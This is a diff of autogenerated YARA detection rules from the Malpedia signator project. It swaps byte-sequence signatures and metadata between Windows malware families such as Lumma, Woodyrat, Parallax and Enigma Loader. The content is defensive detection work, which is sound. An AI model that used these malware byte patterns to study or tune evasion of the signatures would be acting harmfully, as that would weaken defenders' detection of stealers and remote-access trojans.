-		$sequence_1 = { 51 6a00 6a00 68???????? 52 c745f404000000 }
-		$sequence_2 = { 7506 c60100 49 ebec 8bc3 }
-		$sequence_3 = { e8???????? 6804010000 8d95edfdffff 6a00 52 c685ecfdffff00 }
-		$sequence_4 = { 7414 57 c6470300 e8???????? 83c404 }
-		$sequence_5 = { 51 8d95ecf8ffff 68???????? 52 e8???????? 8d85f4fdffff }
-		$sequence_6 = { 6802000080 ff15???????? 8b85d8fbffff 8d8ddcfbffff 51 }
-		$sequence_7 = { c685d4f4ffff00 e8???????? 57 68ff030000 }
-		$sequence_8 = { 33c0 ba01000000 f2ae 448bc2 48f7d1 48ffc9 }
-		$sequence_9 = { 48c7c102000080 4889442438 48897c2430 c74424283f000f00 897c2420 }
-		$sequence_10 = { 33d2 41b804010000 c68424f000000000 e8???????? 488d15520f0200 488d8c24f0000000 }
-		$sequence_11 = { 488bfb 488d73ff f2ae 48f7d1 48ffc9 }
-		$sequence_12 = { 0fb7cd 4889442428 6689742428 4889442430 ff15???????? 488bcf }
-		$sequence_13 = { e8???????? 488d8d81040000 33d2 41b87f0c0000 }
-		$sequence_14 = { c1e808 418bd1 4032c7 4a0fbebc35da020000 81e2fdff0000 }
-		$sequence_15 = { 488d4df0 e8???????? b801000000 e9???????? }
+		$sequence_0 = { 8b5518 48 89451c 8b4a08 3bc8 7702 2bc1 }
+		$sequence_1 = { c1e81f 8d4c02ff 398dd4fcffff 7d1f }
+		$sequence_2 = { ff15???????? 8a4e02 8066030f 0fb7c0 240f 02c0 02c0 }
+		$sequence_3 = { e8???????? 83c428 8d7de0 e8???????? 8b450c 8b4d18 8b5514 }
+		$sequence_4 = { c745f0c4e9f2e5 c745f4e3f4eff2 66c745f8f900 894dc0 c745c4d3ffc8ff c745c8c5ffccff c745ccccffb3ff }
+		$sequence_5 = { 49 894d18 3bc1 7437 8b7d14 8b5708 }
+		$sequence_6 = { 8b4d08 8b550c 8d0411 83f802 }
+		$sequence_7 = { 7702 2bc2 8b5104 8b3c82 8b4d2c 8b5528 51 }
+		$sequence_8 = { 68???????? ff15???????? 8b7508 c7465ca0634200 83660800 33ff 47 }
+		$sequence_9 = { 8d75a0 e8???????? 8b5da0 8b4da4 8bc3 2bc1 }
 
 	condition:
-		7 of them and filesize <524288
+		7 of them and filesize <409600
 }
-rule MALPEDIA_Win_Badencript_Auto : FILE
+rule MALPEDIA_Win_Deputydog_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "14e6e038-56f2-594e-a7b6-4f5872213cea"
+		id = "3ae1b77f-6003-5f42-85fd-2473ea8bd4ab"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badencript_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deputydog_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "2996c0cacc073d062d9370be45e59795727eb489c538600d3d982f614b0ed8f2"
+		logic_hash = "027f4c297ed3d9095922a3567db93a8700528916bc6b48fe318198129cac1716"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144410,32 +151377,32 @@ rule MALPEDIA_Win_Badencript_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bfe a1???????? 897de0 394508 7c1f 3934bd48414100 }
-		$sequence_1 = { 8a07 8b0c9548414100 8844192e 8b049548414100 }
-		$sequence_2 = { 6af6 ff15???????? 8b04bd48414100 834c0318ff 33c0 eb16 e8???????? }
-		$sequence_3 = { 53 ffd7 83ee01 75eb 8b4dfc 33c0 }
-		$sequence_4 = { 8b049d48414100 8945d4 8955e8 8a5c1029 80fb02 7405 80fb01 }
-		$sequence_5 = { 660fd60f 8d7f08 8b048d04b54000 ffe0 f7c703000000 }
-		$sequence_6 = { 8b049548414100 f644082801 740b 56 e8???????? 59 }
-		$sequence_7 = { 0f859b010000 c745e0980f4100 8b4508 8bcf 8b7510 c745dc01000000 dd00 }
-		$sequence_8 = { 58 6bc000 c7809439410002000000 6a04 }
-		$sequence_9 = { 50 8b04bd48414100 ff743018 ff15???????? 85c0 0f95c0 5f }
+		$sequence_0 = { 51 56 8bf1 8b461c 8d4e18 ff30 8d45fc }
+		$sequence_1 = { 85ff 7407 8b5510 8a12 8817 }
+		$sequence_2 = { 53 8d4de0 ff15???????? 807df300 7509 }
+		$sequence_3 = { 57 56 e8???????? 83c40c 8d4604 c60664 50 }
+		$sequence_4 = { 8d4580 50 e8???????? 8b4004 59 3bc3 59 }
+		$sequence_5 = { 6a00 56 ff7604 50 ff15???????? 8365f000 6800200000 }
+		$sequence_6 = { 8b7e08 8d1419 397d08 7417 8bc2 2bc1 2bc3 }
+		$sequence_7 = { 8b4d0c 57 ff30 6a00 ff15???????? 8b7d08 8b4f04 }
+		$sequence_8 = { 53 51 ff75e4 50 ff7618 ff15???????? 8b3d???????? }
+		$sequence_9 = { 57 50 ff15???????? 59 84c0 59 740b }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Gamotrol_Auto : FILE
+rule MALPEDIA_Win_Netkey_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a4423f00-4d12-5905-ae9f-2ac00b302637"
+		id = "76292b9d-6066-51f2-940c-21859c007253"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gamotrol_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netkey_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "dbb5086714c8814bb752b80e0051cf0358b1814ba2516480704e9248f4a5718d"
+		logic_hash = "0ca26012e9d146d53c4ba2a355f1655827a5f40d6a52c39d2206e16c6e4d6ec5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144449,32 +151416,32 @@ rule MALPEDIA_Win_Gamotrol_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5e c3 6a04 b8???????? e8???????? e8???????? 50 }
-		$sequence_1 = { ff15???????? 8b4b54 6a04 6800100000 51 56 }
-		$sequence_2 = { 90 8bec 85f6 41 49 6843700000 83c40a }
-		$sequence_3 = { 6aff 68???????? 68???????? 6a00 ff15???????? 6a00 53 }
-		$sequence_4 = { 8be5 90 5d 6803010000 }
-		$sequence_5 = { 8d9540fbffff 52 68???????? ffd6 33c0 8945ad 8945b1 }
-		$sequence_6 = { c6854fffffff61 c68550ffffff67 889d51ffffff c68552ffffff56 c68553ffffff69 889d54ffffff }
-		$sequence_7 = { 0fbec2 0fb680a0ed2e00 83e00f 8b4db8 6bc009 0fb68408c0ed2e00 6a08 }
-		$sequence_8 = { 8b01 57 ff5004 5f 5e c3 8b442404 }
-		$sequence_9 = { 49 41 49 90 8be5 90 }
+		$sequence_0 = { 83c40c 83c208 8bca 81e11f000080 7905 49 }
+		$sequence_1 = { 83e03f c1ff06 6bd830 8b04bda8214400 f644032801 7444 837c0318ff }
+		$sequence_2 = { 81ec98010000 a1???????? 33c4 89842494010000 b9???????? e8???????? 8d0424 }
+		$sequence_3 = { 83c404 85ff 0f84c7000000 57 53 6a00 56 }
+		$sequence_4 = { 8bc2 8955fc 99 83e21f 8d0c02 c1f905 }
+		$sequence_5 = { 6a01 8845e8 8d45e8 57 50 c745c801000000 e8???????? }
+		$sequence_6 = { 42 668955ec e8???????? 99 be3b000000 f7fe }
+		$sequence_7 = { 780d b801000000 5f 5e 5b 59 }
+		$sequence_8 = { 83c8ff eb07 8b04cd8c6a4300 5f 5e 5b 8be5 }
+		$sequence_9 = { 8d8fd8000000 e8???????? 0f1005???????? 8d95f0fbffff 8d4a01 0f1185f0fbffff }
 
 	condition:
-		7 of them and filesize <376832
+		7 of them and filesize <606208
 }
-rule MALPEDIA_Win_Younglotus_Auto : FILE
+rule MALPEDIA_Win_Graphical_Neutrino_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "020c6ff6-d6bb-58fb-b2fa-0c433bea2123"
+		id = "b16102ee-c7a4-5abc-870b-b75814e7493c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.younglotus_auto.yar#L1-L165"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphical_neutrino_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "b3707e8b206f95395dc2e356973108894d4afdfd30bcae58d7d87fd0cefdf956"
+		logic_hash = "650397c4d3167e6ec1c66b8947fe66982f57b8190e3a878616091180b7325b66"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144488,38 +151455,32 @@ rule MALPEDIA_Win_Younglotus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6802000080 e8???????? 83c41c 6a01 }
-		$sequence_1 = { e8???????? 2b450c 50 8b4dfc }
-		$sequence_2 = { 8b45e0 25ff000000 e9???????? c745e401000000 8b550c }
-		$sequence_3 = { 50 ff15???????? 8b4dfc 8981a4000000 68???????? }
-		$sequence_4 = { 50 8b4d0c 81e970010000 51 }
-		$sequence_5 = { 83bda4faffff00 751b 68???????? 8d85a8faffff 50 ff15???????? 83c408 }
-		$sequence_6 = { 6804010000 6a00 8d8da8faffff 51 6a01 6a00 }
-		$sequence_7 = { 83c40c 8b45fc 83c00f 8945f8 6a03 }
-		$sequence_8 = { 56 57 68???????? ff15???????? 8945dc 68???????? }
-		$sequence_9 = { 50 ffd3 85c0 8945fc 0f84b7000000 }
-		$sequence_10 = { 68???????? ffd6 ff7508 e8???????? 8bf8 59 85ff }
-		$sequence_11 = { ff7508 50 e8???????? 8d430f }
-		$sequence_12 = { 50 8945f4 ffd6 8d4df8 }
-		$sequence_13 = { 6a01 53 ff15???????? 8b4de8 6a03 }
-		$sequence_14 = { 8945e8 ffd6 68???????? 8945ec ffd7 68???????? }
-		$sequence_15 = { ffd0 50 ff55f0 85c0 746f 8b450c }
+		$sequence_0 = { 4489c7 4889f2 48c7410800000000 4531c0 4889d9 4c8d6c2450 e8???????? }
+		$sequence_1 = { ff15???????? 4883fe10 7f1c 41b828400000 }
+		$sequence_2 = { 48c78424c800000002000000 48898424c0000000 e8???????? 4c8da424c0000000 488d842460050000 48c78424c800000002000000 }
+		$sequence_3 = { eb07 b001 80fa09 7478 }
+		$sequence_4 = { 8806 488d4602 885601 eb2d b964000000 }
+		$sequence_5 = { 53 4883ec20 4c8b6108 4889cb 4c3b6110 740f }
+		$sequence_6 = { ebcc 31db 4c89ea 4c89e1 4189de ffc3 }
+		$sequence_7 = { 7430 c605????????01 31c0 8a1403 881406 48ffc0 4883f81f }
+		$sequence_8 = { 4155 4154 53 4883ec20 c60100 4889cb 4989d5 }
+		$sequence_9 = { bd07000000 eb32 41b9a0860100 bd06000000 eb25 41b910270000 bd05000000 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <674816
 }
-rule MALPEDIA_Win_Albaniiutas_Auto : FILE
+rule MALPEDIA_Win_Lambload_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "59f4d909-2fdf-5b2b-b2d0-e08828d007ee"
+		id = "ca98537a-be45-5b55-a54c-745fd9ea79b6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.albaniiutas_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambload"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lambload_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "121e552bf42e7769ddf3d97832d0aa4668207291feb4416fe4bffab1efac2c40"
+		logic_hash = "6692a5aefbbf1fabc4e1d13310c5f00b33c64ae692d0893f079fb461da4727d8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144533,32 +151494,32 @@ rule MALPEDIA_Win_Albaniiutas_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745f800000000 50 8bf2 c745f400000000 8bf9 }
-		$sequence_1 = { c1f906 6bc030 03048d90df0210 50 ff15???????? 5d c3 }
-		$sequence_2 = { 23c1 eb57 53 8b1c85c8540110 }
-		$sequence_3 = { c705????????01000000 c705????????01000000 6a04 58 6bc000 c7806cda021002000000 6a04 }
-		$sequence_4 = { 59 83cfff 897de4 8365fc00 8b049d90df0210 8b4de0 f644082801 }
-		$sequence_5 = { 898850030000 8b4508 59 c74048c0a40110 8b4508 6689486c }
-		$sequence_6 = { 68???????? ffd6 68???????? 8d45d4 c745d400000000 50 e8???????? }
-		$sequence_7 = { 83e801 0f8580000000 8b4508 dd00 ebc6 c745e0f87c0110 }
-		$sequence_8 = { 660fd60f 8d7f08 8b048dd46a0010 ffe0 f7c703000000 7413 }
-		$sequence_9 = { 33048dc01c0110 0fb6ca 33048dc0280110 ff4d08 0f8502feffff 83ff04 }
+		$sequence_0 = { ffb5e4f7ffff e8???????? 0fb74624 57 57 6a03 }
+		$sequence_1 = { ff15???????? 47 83ff02 7caa 83c8ff 5f 5e }
+		$sequence_2 = { 74c5 57 57 57 ff7608 ff15???????? 85c0 }
+		$sequence_3 = { 8b6c2424 83c408 3be8 7e02 8be8 }
+		$sequence_4 = { 897dfc 897dd8 83ff40 0f8d3b010000 8b34bd00490710 85f6 }
+		$sequence_5 = { 83c420 837e1804 750d b800308000 }
+		$sequence_6 = { f7f9 8955fc e8???????? 99 b9ffff0000 f7f9 }
+		$sequence_7 = { be???????? 50 a5 e8???????? 83c40c }
+		$sequence_8 = { 0fb78c05ecfbffff 66898c05f4fdffff 83c002 663bce 75e8 53 8d85ecfbffff }
+		$sequence_9 = { 33c0 8a540430 8a8be8330710 32ca 888be8330710 43 3bdd }
 
 	condition:
-		7 of them and filesize <566272
+		7 of them and filesize <1039360
 }
-rule MALPEDIA_Win_Woodyrat_Auto : FILE
+rule MALPEDIA_Win_Bluehaze_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ce77dd1e-7a7f-526f-b26a-f53840a84ce1"
+		id = "b806577a-57c1-570d-aa1c-22fa8aae198a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.woodyrat_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bluehaze_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "f0e3660df6e09cfccf9351d956d7545670538be69e20bfd57639d1e54207defb"
+		logic_hash = "e848ac1af15ccfaaa261b6df2c92e0cbc62750d10a2cd1c781f26efdf23885e7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144572,19 +151533,19 @@ rule MALPEDIA_Win_Woodyrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b75ec 8985a4ebffff ffb5bcebffff e8???????? 8b7de4 83c404 837de800 }
-		$sequence_1 = { 8d4e4c 54 6a00 e8???????? 8bc8 e8???????? 8d4dd8 }
-		$sequence_2 = { 8d4710 50 8d45cc 50 e8???????? 84c0 7403 }
-		$sequence_3 = { e8???????? c645fc03 8b55cc 83fa10 722c 8b4db8 42 }
-		$sequence_4 = { 8b4328 8bd8 3bfb 742d 8b0f 8b01 ff5008 }
-		$sequence_5 = { 8bc8 83781410 7202 8b08 83781004 753b 8b01 }
-		$sequence_6 = { 83c408 8d4508 6a00 84db 7428 837d1c08 6800000002 }
-		$sequence_7 = { 50 e8???????? 8b7d80 83c404 e9???????? c645fc00 }
-		$sequence_8 = { 7607 be55555515 eb07 03f1 3bf2 0f42f2 }
-		$sequence_9 = { 745d 40 50 e8???????? 8bf0 8b45c8 40 }
+		$sequence_0 = { 8d85f0feffff 50 8bcf ff15???????? 8b08 8b4904 }
+		$sequence_1 = { 745f 6a30 c7460800000000 e8???????? 83c404 85c0 }
+		$sequence_2 = { 0fbe56ff 4e 51 52 57 ffd3 83c40c }
+		$sequence_3 = { e8???????? 83c408 8bc8 ff15???????? 397314 7204 }
+		$sequence_4 = { 8d4f04 894e30 894e34 8d4708 8d4d10 894610 894614 }
+		$sequence_5 = { 68???????? 64a100000000 50 81ecec050000 a1???????? 33c5 8945ec }
+		$sequence_6 = { 83c420 8d14c500000000 2bd0 8b06 5b 8d0cd0 }
+		$sequence_7 = { 03c2 894508 753d 8b4604 8b0e 3bc8 0f8466010000 }
+		$sequence_8 = { 0b0b 010b 0b0b 0b0b 0b0b 0b0b 0b0b }
+		$sequence_9 = { 33db 8bc7 8bf1 c745e80f000000 895de4 885dd4 8d5001 }
 
 	condition:
-		7 of them and filesize <785408
+		7 of them and filesize <424960
 }
 rule MALPEDIA_Win_Wannahusky_Auto : FILE
 {
@@ -144625,20 +151586,20 @@ rule MALPEDIA_Win_Wannahusky_Auto : FILE
 	condition:
 		7 of them and filesize <862208
 }
-rule MALPEDIA_Win_Lumma_Auto : FILE
+rule MALPEDIA_Win_Enigma_Loader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "00d0b80d-1d60-5a8c-ab53-b2e4e4ca8bb2"
+		id = "33d20d9c-767a-597b-ae66-93f6af0c58cb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lumma_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.enigma_loader_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "5263a9e2f3da4148c4cca89d62ca2919f1c780d4176c9b4897b89aefc59def79"
+		logic_hash = "8a62893fbe7653f384c2f95eb23ec8773d32568e91ea2e5850c81f2ea0184b8d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -144650,35 +151611,32 @@ rule MALPEDIA_Win_Lumma_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 53 ff767c ff7678 }
-		$sequence_1 = { ffd0 83c40c 894648 85c0 }
-		$sequence_2 = { ff5130 83c410 85c0 7407 }
-		$sequence_3 = { ff7678 ff7644 ff563c 83c414 }
-		$sequence_4 = { ff770c ff37 ff7134 ff5130 }
-		$sequence_5 = { ff7608 ff7044 ff503c 83c414 }
-		$sequence_6 = { 894610 8b461c c1e002 50 }
-		$sequence_7 = { 833800 740a e8???????? 833822 }
-		$sequence_8 = { 83c40c 6a02 6804010000 e8???????? }
-		$sequence_9 = { 017e78 83567c00 017e68 83566c00 }
-		$sequence_10 = { 89e5 8b550c 6bd204 89d1 }
-		$sequence_11 = { 41 5d 41 5b 41 5c }
-		$sequence_12 = { 48 83ec28 0f05 48 83c428 49 }
+		$sequence_0 = { 8b05???????? 33ff 66393d???????? 41bc09cb3d8d 0f1145ea 8945fa 448d770a }
+		$sequence_1 = { 0f840c010000 488b01 4c8d4de0 4c8d4520 488d5530 ff5010 84c0 }
+		$sequence_2 = { e9???????? 488b8aa0000000 4883c108 e9???????? 488b8aa0000000 4883c120 e9???????? }
+		$sequence_3 = { 488d542478 488bcf e8???????? 90 41c6466801 4138b6b0000000 0f85e2040000 }
+		$sequence_4 = { 488d05dfab0200 e9???????? 488d0523ac0200 eb7c 488d056aac0200 eb73 }
+		$sequence_5 = { 498b4210 448b10 410fb609 83e10f 4a0fbe843178940200 428a8c3188940200 4c2bc8 }
+		$sequence_6 = { 4d8b86c8000000 4c898558020000 488b4610 48394608 7529 488b0e 8a11 }
+		$sequence_7 = { cc 33c0 4c8d1d8fbafeff 884118 0f57c0 }
+		$sequence_8 = { 33d2 33c9 ffd0 4889842420010000 4885c0 7510 bab9fa0e75 }
+		$sequence_9 = { 773b 498bc8 e8???????? 488b6c2458 4a8d0ce3 48891f 498bc6 }
 
 	condition:
-		7 of them and filesize <1115136
+		7 of them and filesize <798720
 }
-rule MALPEDIA_Win_Doubleback_Auto : FILE
+rule MALPEDIA_Win_Parallax_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cd786c05-6d47-522c-af3e-e773839ffcc7"
+		id = "3331f8f9-ca97-5323-a8b7-4a2a5bd3b734"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doubleback_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.parallax_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "b40ea64a869bfecf3f36d9c35b2ecd274734632c8a0bce79f6229d1b07f00bb7"
+		logic_hash = "2375ab4fbfb357ff0388c05531234fe1711b2c1ab93377989bbf9dcbb0552a8e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144692,32 +151650,32 @@ rule MALPEDIA_Win_Doubleback_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b9e3050000 eb3b b90b070000 eb34 2d63450000 7428 }
-		$sequence_1 = { b9ad060000 eb57 b9a7060000 eb50 b947060000 eb49 }
-		$sequence_2 = { eb3b b90b070000 eb34 2d63450000 }
-		$sequence_3 = { 3d39380000 741c 3dd73a0000 740e 3dab3f0000 }
-		$sequence_4 = { b9e7050000 eb42 b9e3050000 eb3b b90b070000 }
-		$sequence_5 = { b90b070000 eb34 2d63450000 7428 2d57020000 }
-		$sequence_6 = { 774f 7446 3d00280000 7438 3d5a290000 742a 3d39380000 }
-		$sequence_7 = { 7438 3d5a290000 742a 3d39380000 }
-		$sequence_8 = { e8???????? 85c0 7508 c60703 e9???????? }
-		$sequence_9 = { 7446 3d00280000 7438 3d5a290000 742a 3d39380000 741c }
+		$sequence_0 = { 8dbf8c000000 b934000000 f3a4 5e 56 ff7508 }
+		$sequence_1 = { ff7508 ff9698010000 5e 5d c21400 55 8bec }
+		$sequence_2 = { 8b5234 83c234 8915???????? 83be1801000000 7545 83be1801000000 7401 }
+		$sequence_3 = { ff763c 683c800000 ff35???????? ff92e0010000 6a00 }
+		$sequence_4 = { 7411 8b75ec 8b7de0 8b4de8 f3a4 }
+		$sequence_5 = { 85c0 7418 8bf8 8b35???????? b8ffffffff f0874704 50 }
+		$sequence_6 = { 6a00 ff9628010000 6a04 68???????? }
+		$sequence_7 = { e9???????? 3d34800000 750d ff7514 ff7510 e8???????? eb6d }
+		$sequence_8 = { 8b5634 83c234 52 52 }
+		$sequence_9 = { 83e934 8b4734 83c034 8b15???????? 50 51 ff92dc000000 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <352256
 }
-rule MALPEDIA_Win_Tinyfluff_Auto : FILE
+rule MALPEDIA_Win_Unidentified_092_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "68615fcb-8e02-5dda-b945-ad2728dc7f08"
+		id = "7e18dd30-6337-5c36-a898-b23460fa3b1e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinyfluff_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_092_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "7b6f89788f810db3773be969b0bf83c7846502ce63a8bb1297c4bbad49f7e342"
+		logic_hash = "2159e4ff6c9c542892316c91029887360b4aa3e31c90494be3422bea5bef7c7b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144731,32 +151689,32 @@ rule MALPEDIA_Win_Tinyfluff_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f84982c0000 c3 833d????????ff 7503 33c0 c3 53 }
-		$sequence_1 = { 8b04bd50704100 03c1 885c302e 46 3bf2 }
-		$sequence_2 = { 83e03f c1f906 6bc038 03048d50704100 }
-		$sequence_3 = { 85c0 7418 8b858cfbffff 85c0 7407 50 }
-		$sequence_4 = { ff15???????? 33f6 e9???????? 8d8de0fbffff 8d5102 668b01 83c102 }
-		$sequence_5 = { 8b049550704100 57 8b7d10 897d98 8955b4 }
-		$sequence_6 = { 83c410 ebe6 8b45f0 8b0c8550704100 8b45f8 807c012800 }
-		$sequence_7 = { 50 6af6 ff15???????? 8b04bd50704100 834c0318ff 33c0 }
-		$sequence_8 = { 56 57 83781408 8bf9 8bf2 897dfc 8bd0 }
-		$sequence_9 = { c1fa06 8934b8 8bc7 83e03f 6bc838 8b049550704100 8b440818 }
+		$sequence_0 = { c78520ffffff00000000 c68510ffffff00 83f810 7241 8b8df8feffff 40 3d00100000 }
+		$sequence_1 = { 723f 8b4c2464 40 3d00100000 722a f6c11f 0f850b010000 }
+		$sequence_2 = { 33f1 8b7df8 0375a4 8bd3 8b5dfc f7d2 8b4de8 }
+		$sequence_3 = { 8b41fc 3bc1 0f83de020000 2bc8 83f904 0f82d3020000 83f923 }
+		$sequence_4 = { 0155ec c1c107 33f1 8bcb 8bd3 }
+		$sequence_5 = { 56 52 50 8b08 ff511c c745fcffffffff 83ceff }
+		$sequence_6 = { 8d8558ffffff 50 0f118568ffffff ffd3 c645fc03 83ec10 }
+		$sequence_7 = { 8bc3 c1c007 8bcb 33d0 897508 f7d1 8bc3 }
+		$sequence_8 = { 83ee01 75e9 8b85e4fbffff 83f814 }
+		$sequence_9 = { 50 56 ffd3 85c0 7f38 68???????? }
 
 	condition:
-		7 of them and filesize <245760
+		7 of them and filesize <10202112
 }
-rule MALPEDIA_Win_Paladin_Auto : FILE
+rule MALPEDIA_Win_Unidentified_031_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8e8ee0fc-daaf-5adf-960f-9f0ec8622d0d"
+		id = "f9c620fb-a7af-59b3-88ea-9e26f2264efe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.paladin_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_031_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "421e228bfdffaff271db99688d25ef5b69f4b46e3f813d9e9b328d48850dca52"
+		logic_hash = "135d93e7e92e738a5df3c00f6ebb76c4de980af7c891f431b4f3045d05f7757e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144770,32 +151728,32 @@ rule MALPEDIA_Win_Paladin_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c20800 8d5d04 50 52 }
-		$sequence_1 = { ffd7 8b4614 6aff 50 ffd7 8b4e10 }
-		$sequence_2 = { 0faff0 83c61f c70728000000 c1fe03 83e6fc 894704 0faff1 }
